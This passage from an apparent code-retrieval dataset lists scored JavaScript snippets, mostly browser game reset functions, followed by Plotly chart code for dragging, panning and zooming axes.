qs(\"input.player\" + getOtherPlayer());\n let otherAnswerBox = qs(\"#player\" + getOtherPlayer() + \"-ans p\");\n otherAnswerBox.textContent = \"\";\n otherResponse.value = \"\";\n }", "title": "" }, { "docid": "7c086df9ec4799fc982de5631437f309", "score": "0.73112357", "text": "function startGame() {\n console.log(\"The game has begun\") \n // reset user stats to zeros\n correctAnswers = 0;\n incorrectAnswers = 0;\n unansweredQuestions = 0;\n loadQuestionsAndAnswers()\n // \n $('.startButton').remove();\n }", "title": "" }, { "docid": "2fb72abe08c04367a9342bdd4ee08cfb", "score": "0.7310739", "text": "function resetBoard() {\n window.GAME_START_OPTION = \"FirstPeg\";\n clear();\n initalizeBoard();\n}", "title": "" }, { "docid": "2f15d77cc32f5d55b0c3bc97c783f62f", "score": "0.73089945", "text": "function resetGame() {\n\t\t$box.text(\"\");\n\t\tplayer = \"X\";\n\t\tmoves = \"0\";\n\t}", "title": "" }, { "docid": "b61667cb6923922692e70d3eb1340b9e", "score": "0.73079604", "text": "function resetGame(start = false, gameBTN = document.getElementById(`gameBTN`)) { // dynamic params\n playerOne = `linear-gradient(to right bottom, #c42626, #a92027, #8e1c26, #731923, #59161f)`, // bg-images\n playerTwo = `linear-gradient(to right bottom, #3ac03a, #35a333, #2f872b, #296d24, #22531d)`;\n playerMarker.innerText = `Player 1`; // starting pose\n playerMarker.style.backgroundImage = playerOne; // starting pose\n if (!start) removeAppendedStyles(); // remove head dynamically added styles\n if (gameBTN !== undefined) gameBTN.innerText = `Restart`; // button starting position\n if (board !== undefined) drawBoard(start); // draw board again without 7 columns listeners && attach\n}", "title": "" }, { "docid": "c94745b64277c8e69dd0fd30227ae584", "score": "0.7307724", "text": "function reset() {\n\tball.left = LAUNCHPAD_X + LAUNCHPAD_WIDTH/2;\n\tball.top = LAUNCHPAD_Y - ball.height/2;\n\tball.velocityX = 0;\n\tball.velocityY = 0;\n\tisFlying = false;\n\tneedInstructions = false;\n\tlastScore = 0;\n}", "title": "" }, { "docid": "17a06a2113e3371fdfaacefa77758703", "score": "0.73054403", "text": "function resetGame() {\r\n console.log(\"resetGame\");\r\n game.cardsAnalysis = [];\r\n game.battle = null;\r\n game.cardsDeck = null;\r\n game.dealTimes = 0;\r\n\r\n adjustedCards = [];\r\n $imgs = [];\r\n\r\n if (!$(\"#placebtn\").hasClass(\"disabled\")) $(\"#placebtn\").addClass(\"disabled\")\r\n if (!$(\"#passbtn\").hasClass(\"disabled\")) $(\"#passbtn\").addClass(\"disabled\")\r\n if (!$(\"#hostbtn\").hasClass(\"disabled\")) $(\"#hostbtn\").addClass(\"disabled\")\r\n\r\n hosted = false;\r\n}", "title": "" }, { "docid": "d0733e338a8896d2e6e96c5305dc7bf1", "score": "0.73043", "text": "function resetGame() {\n setResetGameData();\n updateHTML();\n}", "title": "" }, { "docid": "d387dafd27877741727efb5bee74bf93", "score": "0.72810173", "text": "function gameReset() {\n\t\tquestionCounter = 0;\n\t\tcorrectGuesses = 0;\n\t\tincorrectGuesses = 0;\n\t}", "title": "" }, { "docid": "e845779863342a60c0bf441e086c24cf", "score": "0.72757137", "text": "function resetScores() {\n playerScore = 0;\n computerScore = 0;\n updatePlayerScoreDisplay();\n updateComputerScoreDisplay();\n resetScoreBar();\n}", "title": "" }, { "docid": "b70f808cdf189436f956c79846cf8fad", "score": "0.72688067", "text": "function resetGame(){\n\t\ttimeNumber = 30;\n\t\t$(\"#display\").text(\"30\");\n\t\tdocument.getElementById(\"trivia-questions\").reset();\n\t\tdocument.getElementById(\"start-game\").style.display = \"block\";\n\t\tdocument.getElementById(\"game-text\").style.display = \"none\";\n\t\tdocument.getElementById(\"results\").style.display = \"none\";\n\t\twrong = 0;\n\t\trightAnswers = 0;\n\t\tblanks = 0;\n\t\t$(\"#correct-answers\").text(\"Correct: \");\n\t\t$(\"#wrong-answers\").text(\"Incorrect: \");\n\t\t$(\"#blank-answers\").text(\"Unanswered: \");\n\t}", "title": "" }, { "docid": "cd7cc449f503b87f4c322f97808f37e3", "score": "0.72654396", "text": "function resetGame(x) {\n correctCounter = 0\n incorrectCounter = 0\n unansweredCounter = 0\n triviaQuestionIndex = 0\n startPage()\n }", "title": "" }, { "docid": "da685d6e2213735b0a131be01f2da12b", "score": "0.7263393", "text": "resetGame() {\n clearInterval(this.gameIntervalID);\n clearInterval(this.birdSpriteIntervalID);\n this.clearRect();\n this.setProps();\n this.isStarted = false;\n this.drawGame();\n this.score = 0;\n console.log('END GAME');\n }", "title": "" }, { "docid": "cebb3c2ab0f3f0cbe1c74ce5ce5e1a4e", "score": "0.7256508", "text": "function reset() {\n totalScore = 0;\n userScore = 0;\n crystalOne = 0;\n crystalTwo = 0;\n crystalThree = 0;\n crystalFour = 0;\n crystalValues();\n randomNumberGoal();\n}", "title": "" }, { "docid": "ae6c7f234c90a992b2ea664f1b982559", "score": "0.7255522", "text": "function resetGame() {\n wordState.length = 0;\n hintsUsed.length = 0;\n guessedLetters = \"\";\n if(legacy) {\n selectedPlayer = legacyOptions[Math.floor(Math.random() * legacyOptions.length)];\n } else {\n selectedPlayer = modernOptions[Math.floor(Math.random() * modernOptions.length)];\n }\n for(var i = 0; i < selectedPlayer.lastName.length - 1; i++) {\n wordState.push(\"_\");\n wordState.push(\" \");\n }\n wordState.push(\"_\");\n getWordStateForPrinting();\n calculateTotalGuesses(selectedPlayer);\n guessLock = false;\n document.getElementById(\"any-key\").textContent = \"Guess a letter to get started!\";\n document.getElementById(\"current-guessed-letters\").textContent = \"\";\n document.getElementById(\"career-hint\").textContent = \"\";\n document.getElementById(\"position-hint\").textContent = \"\";\n document.getElementById(\"first-name-hint\").textContent = \"\";\n document.getElementById(\"win-or-lose\").textContent = \"\";\n document.getElementById(\"img-caption\").textContent = \"\";\n document.getElementById(\"player-image\").src = \"assets/images/helmet.jpg\";\n }", "title": "" }, { "docid": "59ba5d33b594edb7e3adc23a9ac05c22", "score": "0.7254071", "text": "function Reset() {\n if (eatKey(KEY_RESET)) {\n g_score.reset();\n\t\tg_paddle.reset();\n\t\tg_balls[0].reset();\n\t\tg_balls[0].clearTrace();\n\t\t\n\t\tg_shouldDoIntro = true;\n\t\tg_displacement = -370;\n\t\tg_hasWon = false;\n\t\t\n\t\tsetLevel(g_score.level);\n } \n}", "title": "" }, { "docid": "a38a5de546d1b24e0125fe2ad2da2d0c", "score": "0.7252456", "text": "function restart() {\n buttons.forEach(element => document.getElementById(element.id).removeAttribute('disabled', true)); // Activate buttons\n buttons.forEach(element => document.getElementById(element.id).classList.remove('right')); // remove 'right' class from buttons\n // Hide restart and menu buttons\n document.getElementById('startGameBtn').style.visibility = 'hidden';\n document.getElementById('menuBtn').style.visibility = 'hidden';\n // Reset values\n selectedWord = \"\";\n status = null;\n guessed = [];\n alphabetArr = 'abcdefghijklmnopqrstuvwxyz'.toUpperCase().split('');\n\n if (guesses === 5) { // If guesses is strickt-equal to 5 reset score and guesses value\n score = 0;\n guesses = 0;\n document.getElementById('score').innerHTML = `Score: ${score}p`;\n }\n\n randomWord();\n guessWord();\n updateMistakes();\n}", "title": "" }, { "docid": "f6cc5629b126477ac65205cd1cec0bd9", "score": "0.724512", "text": "function resetGame() {\n if (timerId) {\n clearInterval(timerId);\n timerId = null;\n }\n startBtn.innerHTML =\n '<img src=\"./images/controls/play.png\" alt=\"play/pause\">';\n speedCtrlBtns.forEach((element) => {\n element.checked = false;\n });\n defaultSpeedBtn.checked = true;\n\n score = 0;\n scoreDisplay.innerHTML = score;\n\n // nextRandom = Math.floor(Math.random() * theTetrominoes.length);\n random = Math.floor(Math.random() * theTetrominoes.length);\n nextRandoms[0] = Math.floor(Math.random() * theTetrominoes.length);\n nextRandoms[1] = Math.floor(Math.random() * theTetrominoes.length);\n nextRandoms[2] = Math.floor(Math.random() * theTetrominoes.length);\n current = theTetrominoes[random][currentRotation];\n\n currentPosition = 4;\n currentRotation = 0;\n\n displayShapeClear();\n clearGrid();\n\n startBtn.disabled = false;\n document.addEventListener(\"keyup\", control);\n\n player.pause();\n\n this.blur();\n }", "title": "" } ]
7b28e124b1b4f5959a7bb3dcab48d5a9
dz: set a new value for one end (0 or 1) of an axis array axArray, and return a pixel shift for that end for the viewbox based on pixel drag distance d TODO: this makes (generally nonfatal) errors when you get near floating point limits
[ { "docid": "0893fc0ef9f721d47bdac59a17d4dcbf", "score": "0.7291852", "text": "function dz(axArray, end, d) {\n\t var otherEnd = 1 - end,\n\t movedAx,\n\t newLinearizedEnd;\n\t for(var i = 0; i < axArray.length; i++) {\n\t var axi = axArray[i];\n\t if(axi.fixedrange) continue;\n\t movedAx = axi;\n\t newLinearizedEnd = axi._rl[otherEnd] +\n\t (axi._rl[end] - axi._rl[otherEnd]) / dZoom(d / axi._length);\n\t var newEnd = axi.l2r(newLinearizedEnd);\n\n\t // if l2r comes back false or undefined, it means we've dragged off\n\t // the end of valid ranges - so stop.\n\t if(newEnd !== false && newEnd !== undefined) axi.range[end] = newEnd;\n\t }\n\t return movedAx._length * (movedAx._rl[end] - newLinearizedEnd) /\n\t (movedAx._rl[end] - movedAx._rl[otherEnd]);\n\t }", "title": "" } ]
[ { "docid": "88e575ef51366f762fe2d203d5e551a1", "score": "0.7353162", "text": "function dz(axArray, end, d) {\n var otherEnd = 1 - end,\n movedAx,\n newLinearizedEnd;\n for (var i = 0; i < axArray.length; i++) {\n var axi = axArray[i];\n if (axi.fixedrange) continue;\n movedAx = axi;\n newLinearizedEnd = axi._rl[otherEnd] + (axi._rl[end] - axi._rl[otherEnd]) / dZoom(d / axi._length);\n var newEnd = axi.l2r(newLinearizedEnd);\n\n // if l2r comes back false or undefined, it means we've dragged off\n // the end of valid ranges - so stop.\n if (newEnd !== false && newEnd !== undefined) axi.range[end] = newEnd;\n }\n return movedAx._length * (movedAx._rl[end] - newLinearizedEnd) / (movedAx._rl[end] - movedAx._rl[otherEnd]);\n }", "title": "" }, { "docid": "962cb6d114246e5f35481816a281f9fe", "score": "0.663767", "text": "function dz(ax, end, d) {\n\t var otherEnd = 1 - end,\n\t movedi = 0;\n\t for(var i = 0; i < ax.length; i++) {\n\t var axi = ax[i];\n\t if(axi.fixedrange) continue;\n\t movedi = i;\n\t axi.range[end] = axi._r[otherEnd] +\n\t (axi._r[end] - axi._r[otherEnd]) / dZoom(d / axi._length);\n\t }\n\t return ax[movedi]._length * (ax[movedi]._r[end] - ax[movedi].range[end]) /\n\t (ax[movedi]._r[end] - ax[movedi]._r[otherEnd]);\n\t }", "title": "" }, { "docid": "ac682eaaf35ae611f9a7c63b8a73babe", "score": "0.6570011", "text": "function plotDrag(dx,dy) {\n\t function dragAxList(axList, pix) {\n\t for(var i = 0; i < axList.length; i++) {\n\t var axi = axList[i];\n\t if(!axi.fixedrange) {\n\t axi.range = [axi._r[0] - pix / axi._m, axi._r[1] - pix / axi._m];\n\t }\n\t }\n\t }\n\n\t if(xActive === 'ew' || yActive === 'ns') {\n\t if(xActive) dragAxList(xa, dx);\n\t if(yActive) dragAxList(ya, dy);\n\t updateViewBoxes([xActive ? -dx : 0, yActive ? -dy : 0, pw, ph]);\n\t ticksAndAnnotations(yActive, xActive);\n\t return;\n\t }\n\n\t // common transform for dragging one end of an axis\n\t // d>0 is compressing scale (cursor is over the plot,\n\t // the axis end should move with the cursor)\n\t // d<0 is expanding (cursor is off the plot, axis end moves\n\t // nonlinearly so you can expand far)\n\t function dZoom(d) {\n\t return 1-((d>=0) ? Math.min(d,0.9) :\n\t 1/(1/Math.max(d,-0.3)+3.222));\n\t }\n\n\t // dz: set a new value for one end (0 or 1) of an axis array ax,\n\t // and return a pixel shift for that end for the viewbox\n\t // based on pixel drag distance d\n\t // TODO: this makes (generally non-fatal) errors when you get\n\t // near floating point limits\n\t function dz(ax, end, d) {\n\t var otherEnd = 1 - end,\n\t movedi = 0;\n\t for(var i = 0; i < ax.length; i++) {\n\t var axi = ax[i];\n\t if(axi.fixedrange) continue;\n\t movedi = i;\n\t axi.range[end] = axi._r[otherEnd] +\n\t (axi._r[end] - axi._r[otherEnd]) / dZoom(d / axi._length);\n\t }\n\t return ax[movedi]._length * (ax[movedi]._r[end] - ax[movedi].range[end]) /\n\t (ax[movedi]._r[end] - ax[movedi]._r[otherEnd]);\n\t }\n\n\t if(xActive === 'w') dx = dz(xa, 0, dx);\n\t else if(xActive === 'e') dx = dz(xa, 1, -dx);\n\t else if(!xActive) dx = 0;\n\n\t if(yActive === 'n') dy = dz(ya, 1, dy);\n\t else if(yActive === 's') dy = dz(ya, 0, -dy);\n\t else if(!yActive) dy = 0;\n\n\t updateViewBoxes([\n\t (xActive === 'w') ? dx : 0,\n\t (yActive === 'n') ? dy : 0,\n\t pw - dx,\n\t ph - dy\n\t ]);\n\t ticksAndAnnotations(yActive, xActive);\n\t }", "title": "" }, { "docid": "f7c127f67d88ae6115ebda50ce40a2e3", "score": "0.61957276", "text": "function plotDrag(dx, dy) {\n\t // If a transition is in progress, then disable any behavior:\n\t if(gd._transitioningWithDuration) {\n\t return;\n\t }\n\n\t recomputeAxisLists();\n\n\t function dragAxList(axList, pix) {\n\t for(var i = 0; i < axList.length; i++) {\n\t var axi = axList[i];\n\t if(!axi.fixedrange) {\n\t axi.range = [\n\t axi.l2r(axi._rl[0] - pix / axi._m),\n\t axi.l2r(axi._rl[1] - pix / axi._m)\n\t ];\n\t }\n\t }\n\t }\n\n\t if(xActive === 'ew' || yActive === 'ns') {\n\t if(xActive) dragAxList(xa, dx);\n\t if(yActive) dragAxList(ya, dy);\n\t updateSubplots([xActive ? -dx : 0, yActive ? -dy : 0, pw, ph]);\n\t ticksAndAnnotations(yActive, xActive);\n\t return;\n\t }\n\n\t // common transform for dragging one end of an axis\n\t // d>0 is compressing scale (cursor is over the plot,\n\t // the axis end should move with the cursor)\n\t // d<0 is expanding (cursor is off the plot, axis end moves\n\t // nonlinearly so you can expand far)\n\t function dZoom(d) {\n\t return 1 - ((d >= 0) ? Math.min(d, 0.9) :\n\t 1 / (1 / Math.max(d, -0.3) + 3.222));\n\t }\n\n\t // dz: set a new value for one end (0 or 1) of an axis array axArray,\n\t // and return a pixel shift for that end for the viewbox\n\t // based on pixel drag distance d\n\t // TODO: this makes (generally non-fatal) errors when you get\n\t // near floating point limits\n\t function dz(axArray, end, d) {\n\t var otherEnd = 1 - end,\n\t movedAx,\n\t newLinearizedEnd;\n\t for(var i = 0; i < axArray.length; i++) {\n\t var axi = axArray[i];\n\t if(axi.fixedrange) continue;\n\t movedAx = axi;\n\t newLinearizedEnd = axi._rl[otherEnd] +\n\t (axi._rl[end] - axi._rl[otherEnd]) / dZoom(d / axi._length);\n\t var newEnd = axi.l2r(newLinearizedEnd);\n\n\t // if l2r comes back false or undefined, it means we've dragged off\n\t // the end of valid ranges - so stop.\n\t if(newEnd !== false && newEnd !== undefined) axi.range[end] = newEnd;\n\t }\n\t return movedAx._length * (movedAx._rl[end] - newLinearizedEnd) /\n\t (movedAx._rl[end] - movedAx._rl[otherEnd]);\n\t }\n\n\t if(xActive === 'w') dx = dz(xa, 0, dx);\n\t else if(xActive === 'e') dx = dz(xa, 1, -dx);\n\t else if(!xActive) dx = 0;\n\n\t if(yActive === 'n') dy = dz(ya, 1, dy);\n\t else if(yActive === 's') dy = dz(ya, 0, -dy);\n\t else if(!yActive) dy = 0;\n\n\t updateSubplots([\n\t (xActive === 'w') ? dx : 0,\n\t (yActive === 'n') ? dy : 0,\n\t pw - dx,\n\t ph - dy\n\t ]);\n\t ticksAndAnnotations(yActive, xActive);\n\t }", "title": "" }, { "docid": "6d10adcd7650c5e1e2a37f469b9b6b24", "score": "0.6075878", "text": "function applyAxisDelta(axis,translate,scale,originPoint,boxScale){if(translate===void 0){translate=0;}if(scale===void 0){scale=1;}axis.min=applyPointDelta(axis.min,translate,scale,originPoint,boxScale);axis.max=applyPointDelta(axis.max,translate,scale,originPoint,boxScale);}", "title": "" }, { "docid": "74add602053c3b8532a5afd5b58086ed", "score": "0.59336203", "text": "function plotDrag(dx, dy) {\n // If a transition is in progress, then disable any behavior:\n if (gd._transitioningWithDuration) {\n return;\n }\n\n if (xActive === 'ew' || yActive === 'ns') {\n if (xActive) dragAxList(xaxes, dx);\n if (yActive) dragAxList(yaxes, dy);\n updateSubplots([xActive ? -dx : 0, yActive ? -dy : 0, pw, ph]);\n ticksAndAnnotations(yActive, xActive);\n return;\n }\n\n // dz: set a new value for one end (0 or 1) of an axis array axArray,\n // and return a pixel shift for that end for the viewbox\n // based on pixel drag distance d\n // TODO: this makes (generally non-fatal) errors when you get\n // near floating point limits\n function dz(axArray, end, d) {\n var otherEnd = 1 - end,\n movedAx,\n newLinearizedEnd;\n for (var i = 0; i < axArray.length; i++) {\n var axi = axArray[i];\n if (axi.fixedrange) continue;\n movedAx = axi;\n newLinearizedEnd = axi._rl[otherEnd] + (axi._rl[end] - axi._rl[otherEnd]) / dZoom(d / axi._length);\n var newEnd = axi.l2r(newLinearizedEnd);\n\n // if l2r comes back false or undefined, it means we've dragged off\n // the end of valid ranges - so stop.\n if (newEnd !== false && newEnd !== undefined) axi.range[end] = newEnd;\n }\n return movedAx._length * (movedAx._rl[end] - newLinearizedEnd) / (movedAx._rl[end] - movedAx._rl[otherEnd]);\n }\n\n if (isSubplotConstrained && xActive && yActive) {\n // dragging a corner of a constrained subplot:\n // respect the fixed corner, but harmonize dx and dy\n var dxySign = xActive === 'w' === (yActive === 'n') ? 1 : -1;\n var dxyFraction = (dx / pw + dxySign * dy / ph) / 2;\n dx = dxyFraction * pw;\n dy = dxySign * dxyFraction * ph;\n }\n\n if (xActive === 'w') dx = dz(xaxes, 0, dx);else if (xActive === 'e') dx = dz(xaxes, 1, -dx);else if (!xActive) dx = 0;\n\n if (yActive === 'n') dy = dz(yaxes, 1, dy);else if (yActive === 's') dy = dz(yaxes, 0, -dy);else if (!yActive) dy = 0;\n\n var x0 = xActive === 'w' ? dx : 0;\n var y0 = yActive === 'n' ? dy : 0;\n\n if (isSubplotConstrained) {\n var i;\n if (!xActive && yActive.length === 1) {\n // dragging one end of the y axis of a constrained subplot\n // scale the other axis the same about its middle\n for (i = 0; i < xaxes.length; i++) {\n xaxes[i].range = xaxes[i]._r.slice();\n scaleZoom(xaxes[i], 1 - dy / ph);\n }\n dx = dy * pw / ph;\n x0 = dx / 2;\n }\n if (!yActive && xActive.length === 1) {\n for (i = 0; i < yaxes.length; i++) {\n yaxes[i].range = yaxes[i]._r.slice();\n scaleZoom(yaxes[i], 1 - dx / pw);\n }\n dy = dx * ph / pw;\n y0 = dy / 2;\n }\n }\n\n updateSubplots([x0, y0, pw - dx, ph - dy]);\n ticksAndAnnotations(yActive, xActive);\n }", "title": "" }, { "docid": "656a0ec4545540d9be7821a8bae4a2fe", "score": "0.5538172", "text": "function offsetX(val){\n return -val / 2 + width / 4;\n}", "title": "" }, { "docid": "a32820952481ff331fc84a6fee0ea1cb", "score": "0.5368326", "text": "function removeAxisDelta(axis,translate,scale,origin,boxScale,originAxis,sourceAxis){if(translate===void 0){translate=0;}if(scale===void 0){scale=1;}if(origin===void 0){origin=0.5;}if(originAxis===void 0){originAxis=axis;}if(sourceAxis===void 0){sourceAxis=axis;}if(percent.test(translate)){translate=parseFloat(translate);var relativeProgress=mix(sourceAxis.min,sourceAxis.max,translate/100);translate=relativeProgress-sourceAxis.min;}if(typeof translate!==\"number\")return;var originPoint=mix(originAxis.min,originAxis.max,origin);if(axis===originAxis)originPoint-=translate;axis.min=removePointDelta(axis.min,translate,scale,originPoint,boxScale);axis.max=removePointDelta(axis.max,translate,scale,originPoint,boxScale);}", "title": "" }, { "docid": "aff01f556d6a9bfa2687c9fe40b69206", "score": "0.5329609", "text": "function handleRight(a){\n options3.hAxis.viewWindow.min += 1;\n options3.hAxis.viewWindow.max += 1;\n chart3.draw(dataArray[1 - pointer], options3);\n \n options4.hAxis.viewWindow.min += 1;\n options4.hAxis.viewWindow.max += 1;\n chart4.draw(dataArray[1 - pointer], options4);\n}", "title": "" }, { "docid": "df2da75c628139f9df36b526b0c5f914", "score": "0.5317577", "text": "function copyAxisInto(axis,originAxis){axis.min=originAxis.min;axis.max=originAxis.max;}", "title": "" }, { "docid": "526af9f9fc4d40ae65c0c8b646697410", "score": "0.5296382", "text": "function applyAxisDelta(axis, translate = 0, scale = 1, originPoint, boxScale) {\n axis.min = applyPointDelta(axis.min, translate, scale, originPoint, boxScale);\n axis.max = applyPointDelta(axis.max, translate, scale, originPoint, boxScale);\n }", "title": "" }, { "docid": "b1f4a0bf774d2847a9136f80d0b2dca4", "score": "0.5276857", "text": "function applyAxisDelta(axis, translate, scale, originPoint, boxScale) {\n if (translate === void 0) { translate = 0; }\n if (scale === void 0) { scale = 1; }\n axis.min = applyPointDelta(axis.min, translate, scale, originPoint, boxScale);\n axis.max = applyPointDelta(axis.max, translate, scale, originPoint, boxScale);\n}", "title": "" }, { "docid": "b1f4a0bf774d2847a9136f80d0b2dca4", "score": "0.5276857", "text": "function applyAxisDelta(axis, translate, scale, originPoint, boxScale) {\n if (translate === void 0) { translate = 0; }\n if (scale === void 0) { scale = 1; }\n axis.min = applyPointDelta(axis.min, translate, scale, originPoint, boxScale);\n axis.max = applyPointDelta(axis.max, translate, scale, originPoint, boxScale);\n}", "title": "" }, { "docid": "b1f4a0bf774d2847a9136f80d0b2dca4", "score": "0.5276857", "text": "function applyAxisDelta(axis, translate, scale, originPoint, boxScale) {\n if (translate === void 0) { translate = 0; }\n if (scale === void 0) { scale = 1; }\n axis.min = applyPointDelta(axis.min, translate, scale, originPoint, boxScale);\n axis.max = applyPointDelta(axis.max, translate, scale, originPoint, boxScale);\n}", "title": "" }, { "docid": "082400d564791fd1219c2f494e262298", "score": "0.52668434", "text": "function updateAxis() {\n\n // get current viewport extent\n var extent = viewport.empty() ? xNav.domain() : viewport.extent();\n var interval = extent[1].getTime() - extent[0].getTime();\n var offset = extent[0].getTime() - xNav.domain()[0].getTime();\n\n // compute new nav extents\n endTime = datum.time;\n startTime = new Date(endTime.getTime() - (maxSeconds * 1000));\n\n // compute new viewport extents \n startTimeViewport = new Date(startTime.getTime() + offset);\n endTimeViewport = new Date(startTimeViewport.getTime() + interval);\n viewport.extent([startTimeViewport, endTimeViewport])\n\n // update scales\n xSpeed.domain([startTimeViewport, endTimeViewport]);\n xAcel.domain([startTimeViewport, endTimeViewport]);\n x98.domain([startTimeViewport, endTimeViewport]);\n x82.domain([startTimeViewport, endTimeViewport]);\n x106.domain([startTimeViewport, endTimeViewport]);\n x90.domain([startTimeViewport, endTimeViewport]);\n x114.domain([startTimeViewport, endTimeViewport]);\n x122.domain([startTimeViewport, endTimeViewport]);\n x130.domain([startTimeViewport, endTimeViewport]);\n xEMR.domain([startTimeViewport, endTimeViewport]);\n xFBR.domain([startTimeViewport, endTimeViewport]);\n xBFR.domain([startTimeViewport, endTimeViewport]);\n xPCCR.domain([startTimeViewport, endTimeViewport]);\n xTracc.domain([startTimeViewport, endTimeViewport]);\n xConf.domain([startTimeViewport, endTimeViewport]);\n xPosEmer.domain([startTimeViewport, endTimeViewport]);\n xFrenoServ.domain([startTimeViewport, endTimeViewport]);\n xNav.domain([startTime, endTime]);\n\n // update axis\n xAxisSpeed.scale(xSpeed)(xAxisGSpeed);\n xAxisNav.scale(xNav)(xAxisGNav);\n\n // refresh svg\n refresh();\n\n }", "title": "" }, { "docid": "f6516cc36228cd63c1932c57fa0dce66", "score": "0.522576", "text": "side_pan(dir = true) {\n //\n //Geet the first compnent of the viewbox array which is the side pan \n let span = this.viewbox[0];\n //\n //Set the direction to + r -\n let sign = dir ? 1 : -1;\n //\n //Increase/decrease zoom by, say, 100\n span = span + step * sign;\n //\n //Replace the 1st element of the viewbox which is the side pan\n this.viewbox[0] = span;\n //\n this.display();\n }", "title": "" }, { "docid": "d44e3dedc09b0a2e7e3f7e432d214534", "score": "0.5148829", "text": "function applyBoxDelta(box,_a){var x=_a.x,y=_a.y;applyAxisDelta(box.x,x.translate,x.scale,x.originPoint);applyAxisDelta(box.y,y.translate,y.scale,y.originPoint);}", "title": "" }, { "docid": "ff277a4e0e34c90089982151d42b176d", "score": "0.51052237", "text": "zoom(dir = true) {\n //\n //get the third component of the viewbox which is the zoom\n let zoom = this.viewbox[2];\n //\n //Set the direction to + r -\n let sign = dir ? 1 : -1;\n //\n //Increase/decrease zoom by, say, 100\n zoom = zoom + step * sign;\n //\n //Replace the 2nd and 3rd split values with the new zoom value\n this.viewbox[2] = zoom;\n this.viewbox[3] = zoom;\n // \n //Display the new settings \n this.display();\n }", "title": "" }, { "docid": "5e40ba1440b42a1f6e8fe04ed1288206", "score": "0.5068483", "text": "function dragBox(gd, plotinfo, x, y, w, h, ns, ew) {\n\t // mouseDown stores ms of first mousedown event in the last\n\t // DBLCLICKDELAY ms on the drag bars\n\t // numClicks stores how many mousedowns have been seen\n\t // within DBLCLICKDELAY so we can check for click or doubleclick events\n\t // dragged stores whether a drag has occurred, so we don't have to\n\t // redraw unnecessarily, ie if no move bigger than MINDRAG or MINZOOM px\n\t var fullLayout = gd._fullLayout,\n\t // if we're dragging two axes at once, also drag overlays\n\t subplots = [plotinfo].concat((ns && ew) ? plotinfo.overlays : []),\n\t xa = [plotinfo.x()],\n\t ya = [plotinfo.y()],\n\t pw = xa[0]._length,\n\t ph = ya[0]._length,\n\t MINDRAG = constants.MINDRAG,\n\t MINZOOM = constants.MINZOOM,\n\t i,\n\t subplotXa,\n\t subplotYa;\n\n\t for(i = 1; i < subplots.length; i++) {\n\t subplotXa = subplots[i].x();\n\t subplotYa = subplots[i].y();\n\t if(xa.indexOf(subplotXa) === -1) xa.push(subplotXa);\n\t if(ya.indexOf(subplotYa) === -1) ya.push(subplotYa);\n\t }\n\n\t function isDirectionActive(axList, activeVal) {\n\t for(i = 0; i < axList.length; i++) {\n\t if(!axList[i].fixedrange) return activeVal;\n\t }\n\t return '';\n\t }\n\n\t var allaxes = xa.concat(ya),\n\t xActive = isDirectionActive(xa, ew),\n\t yActive = isDirectionActive(ya, ns),\n\t cursor = getDragCursor(yActive + xActive, fullLayout.dragmode),\n\t dragClass = ns + ew + 'drag';\n\n\t var dragger3 = plotinfo.draglayer.selectAll('.' + dragClass).data([0]);\n\t dragger3.enter().append('rect')\n\t .classed('drag', true)\n\t .classed(dragClass, true)\n\t .style({fill: 'transparent', 'stroke-width': 0})\n\t .attr('data-subplot', plotinfo.id);\n\t dragger3.call(Plotly.Drawing.setRect, x, y, w, h)\n\t .call(fx.setCursor,cursor);\n\t var dragger = dragger3.node();\n\n\t // still need to make the element if the axes are disabled\n\t // but nuke its events (except for maindrag which needs them for hover)\n\t // and stop there\n\t if(!yActive && !xActive) {\n\t dragger.onmousedown = null;\n\t dragger.style.pointerEvents = (ns + ew === 'nsew') ? 'all' : 'none';\n\t return dragger;\n\t }\n\n\t function forceNumbers(axRange) {\n\t axRange[0] = Number(axRange[0]);\n\t axRange[1] = Number(axRange[1]);\n\t }\n\n\t var dragOptions = {\n\t element: dragger,\n\t gd: gd,\n\t plotinfo: plotinfo,\n\t xaxes: xa,\n\t yaxes: ya,\n\t doubleclick: doubleClick,\n\t prepFn: function(e, startX, startY) {\n\t var dragModeNow = gd._fullLayout.dragmode;\n\t if(ns + ew === 'nsew') {\n\t // main dragger handles all drag modes, and changes\n\t // to pan (or to zoom if it already is pan) on shift\n\t if(e.shiftKey) {\n\t if(dragModeNow === 'pan') dragModeNow = 'zoom';\n\t else dragModeNow = 'pan';\n\t }\n\t }\n\t // all other draggers just pan\n\t else dragModeNow = 'pan';\n\n\t if(dragModeNow === 'lasso') dragOptions.minDrag = 1;\n\t else dragOptions.minDrag = undefined;\n\n\t if(dragModeNow === 'zoom') {\n\t dragOptions.moveFn = zoomMove;\n\t dragOptions.doneFn = zoomDone;\n\t zoomPrep(e, startX, startY);\n\t }\n\t else if(dragModeNow === 'pan') {\n\t dragOptions.moveFn = plotDrag;\n\t dragOptions.doneFn = dragDone;\n\t clearSelect();\n\t }\n\t else if(dragModeNow === 'select' || dragModeNow === 'lasso') {\n\t prepSelect(e, startX, startY, dragOptions, dragModeNow);\n\t }\n\t }\n\t };\n\n\t fx.dragElement(dragOptions);\n\n\t var x0,\n\t y0,\n\t box,\n\t lum,\n\t path0,\n\t dimmed,\n\t zoomMode,\n\t zb,\n\t corners;\n\n\t function zoomPrep(e, startX, startY) {\n\t var dragBBox = dragger.getBoundingClientRect();\n\t x0 = startX - dragBBox.left;\n\t y0 = startY - dragBBox.top;\n\t box = {l: x0, r: x0, w: 0, t: y0, b: y0, h: 0};\n\t lum = gd._hmpixcount ?\n\t (gd._hmlumcount / gd._hmpixcount) :\n\t tinycolor(gd._fullLayout.plot_bgcolor).getLuminance();\n\t path0 = path0 = 'M0,0H'+pw+'V'+ph+'H0V0';\n\t dimmed = false;\n\t zoomMode = 'xy';\n\n\t zb = plotinfo.plot.append('path')\n\t .attr('class', 'zoombox')\n\t .style({\n\t 'fill': lum>0.2 ? 'rgba(0,0,0,0)' : 'rgba(255,255,255,0)',\n\t 'stroke-width': 0\n\t })\n\t .attr('d', path0 + 'Z');\n\n\t corners = plotinfo.plot.append('path')\n\t .attr('class', 'zoombox-corners')\n\t .style({\n\t fill: Plotly.Color.background,\n\t stroke: Plotly.Color.defaultLine,\n\t 'stroke-width': 1,\n\t opacity: 0\n\t })\n\t .attr('d','M0,0Z');\n\n\t clearSelect();\n\t for(i = 0; i < allaxes.length; i++) forceNumbers(allaxes[i].range);\n\t }\n\n\t function clearSelect() {\n\t // until we get around to persistent selections, remove the outline\n\t // here. The selection itself will be removed when the plot redraws\n\t // at the end.\n\t plotinfo.plot.selectAll('.select-outline').remove();\n\t }\n\n\t function zoomMove(dx0, dy0) 